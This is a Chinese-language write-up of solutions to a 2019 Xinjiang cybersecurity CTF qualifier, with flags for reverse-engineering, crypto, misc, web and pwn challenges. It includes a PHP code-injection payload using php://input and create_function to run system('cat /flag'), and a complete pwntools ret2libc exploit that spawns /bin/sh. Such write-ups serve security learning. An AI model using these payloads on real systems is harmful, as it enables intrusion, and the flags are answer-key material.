2019新疆網絡安全技術實訓線上選拔賽部分WP
RE
0x01 easy-re
將下載的文件直接放入IDA分析,
可以發現,key每次都+1並且與byte_41C798進行比較,所以,輸入字符串必須-1,將得到的字符串轉ascii碼,得到flag
flag{easy_re_have_fun}
CRYPTO
0x02 Easy-calssical
0x03 _*_
根據題目,加上下載的文件,很容易看出是摩斯密碼,放入在線工具網站:http://ctf.ssleye.com/morse.html
得到16進制數,將16進制字符串轉字符串,在線轉:http://www.5ixuexiwang.com/str/from-hex.php
MISC
0x04 white_cat
使用010editoer,修改圖片高度
再次打開:
0x05 red_green
直接丟進Stegsolve,一頓騷操作,沒有發現什麼用,最後發現題目是red_green
,於是猜測可能要將這兩個red和green分離
使用Stegsolve,如上圖所示,保存並將後綴名改爲.jpg後
0x06 give_your_shell
剛開始連上,輸入任何命令都保存,懵逼的一撇,看到其使用的是 upper shell
Google搜索,發現網站:
https://medium.com/secttp/overthewire-bandit-level-31-e3b82064285a
發現以下命令
輸入測試一波,驚喜出現
Web
0x07 easy_php
閱讀源碼:
<?php
highlight_file(__FILE__);
error_reporting(0);
if (@file_get_contents($_GET['sign'], 'r') === 'Hello World') {
extract($_GET["flag"]);
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
die('go away');
} else {
$action('', $_GET['arg']);
}
}
首先要考慮繞過,if (@file_get_contents($_GET[‘sign’], ‘r’) === ‘Hello World’);
這裏可以用php的封裝協議php://input,因爲php://input可以得到原始的post數據,
參考網站:https://blog.csdn.net/niexinming/article/details/52623790
可是測試發現:
發現走到了這一步,接下來繼續繞過 $action(’’, $_GET[‘arg’]); :
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
die('go away');
} else {
$action('', $_GET['arg']);
}
百度發現:action(’’,$arg)這裏有兩個參數,可以想到create_function匿名函數代碼注入,參考網站:https://xz.aliyun.com/t/3623
重新構造:
payload:sign=php://input&flag[action]=%5ccreate_function&arg=;}system(%22cat%20/flag%22);//
PWN
0x08 hello stack
ret2libc,做rop用puts去leak,然後調用system(’/bin/sh’)
直接上腳本:
#-*- coding: utf-8 -*-
from pwn import *
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
binary_file = './task_1'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h', '-l', '110']
context.log_level = 'debug'
elf = ELF(binary_file)
libc = elf.libc
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.23/'
gdbscript = ''
gdbscript += 'directory %smalloc\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\n'
log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def exploit(io):
# dbg(0x804853B)
sl(flat('a'*108, 'bbbb', elf.sym['puts'], elf.sym['main'], elf.got['puts']))
ru('\n')
ru('\n')
libc.address = uu32(r(4)) - libc.sym.puts
print hex(libc.address)
sl(flat('a'*108, 'bbbb', libc.sym.system, elf.sym['main'], libc.search('/bin/sh').next() ))
return io
if __name__ == '__main__':
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
else:
io = process(binary_file, 0)
exploit(io)
irt()
flag{easssssssy_staaaaack_you_get_it}